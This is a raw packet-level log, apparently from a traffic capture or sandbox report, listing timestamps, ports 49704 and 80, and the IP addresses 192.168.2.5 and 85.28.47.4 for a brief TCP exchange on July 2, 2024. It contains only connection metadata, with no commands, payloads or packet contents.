Jul 2, 2024 04:12:07.630718946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630726099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630734921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630752087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630753040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630769968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630769968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630785942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630803108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630804062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630825996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630863905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630876064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630897045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630908966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630919933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630924940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630934000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630940914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630958080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630959034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630958080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630973101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630983114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630992889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630997896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631011009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631020069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631037951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631037951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631050110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631059885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631074905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631078959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631083012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631100893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631100893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631112099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631117105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631130934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631136894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631144047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631150007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631161928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631164074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631175995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631184101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631194115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631203890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631217957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631218910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631227016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631230116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631247997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631258965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631263971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631267071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631273985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631293058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631298065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631298065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631311893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631333113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631333113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631339073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631355047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631361961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631372929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631380081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631386995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631405115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631411076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631411076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631426096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631432056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631442070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631442070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631459951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631468058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631472111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631483078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631494045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631494045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631510973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631515026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631525993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631527901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631542921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631547928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631556034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631560087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631572008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631587029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631596088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631596088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631608963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631609917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631623030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631623983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631644011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631644964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631654978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631659985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631674051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631681919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631695986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631699085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631702900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631716013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631730080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631741047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631752014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631752014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631761074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631766081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631776094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631782055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631794930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631799936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631808996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631823063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631824970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631834030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631846905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631880045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631890059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631901026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631917953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631927967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631932974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631939888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631947994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631958008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631961107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631974936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.631978035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.631990910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632019997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632170916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632181883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632198095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632206917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632211924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632229090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632229090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632240057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632249117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632261038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632278919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632297039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632298946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632308006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632324934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632337093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632349968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632370949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632523060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632540941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632554054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632564068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632569075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632586002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632597923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632607937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632607937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632611990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632625103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632625103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632636070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632639885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632647038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632658958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632666111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632675886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632680893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632690907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632695913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632711887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632715940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632730007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632735014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632735014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632754087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632754087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632765055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632771969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632790089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632795095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632801056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632814884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632818937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632824898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632833004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632843971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632848978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632862091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632864952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632873058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632879019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632889032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632898092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632906914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632915974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632916927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632932901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632944107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632946968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632960081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632972956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632977009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.632987976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.632993937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.633007050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.633021116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.633047104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.720871925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720911980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720922947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720940113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.720959902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720968962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.720972061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720992088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.720997095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721005917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721021891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721024990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721038103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721074104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721096992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721107960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721126080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721138000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721138000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721148968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721155882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721165895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721168995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721184015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721187115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721200943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721208096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721225023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721230030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721240997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721256971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721260071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721268892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721268892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721283913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721287012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721295118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721306086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721317053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721322060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721334934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721340895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721357107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721369028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721369982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721390009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721396923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721404076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721419096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721420050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721432924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721434116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721450090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721460104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721472979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721482038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721486092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721496105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721509933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721513033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721523046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721534014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721541882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721554995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721560001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721571922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721585035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721590996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721590996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721615076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721625090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721760988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721771955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721791983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721801043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721811056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721816063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721828938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721831083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721846104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721851110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721862078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721863985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721878052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721878052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721894979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721900940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721910000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721918106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721925974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721926928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721946001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721950054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721957922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721963882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721982002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.721983910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.721995115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722002029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722012997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722017050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722023010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722028017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722044945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722055912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722064972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722079039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722079039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722111940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722126007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722172976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722181082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722192049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722208977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722218037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722218037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722229004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722249985 CEST	49704	80	192.168.2.5	85.28.47.4
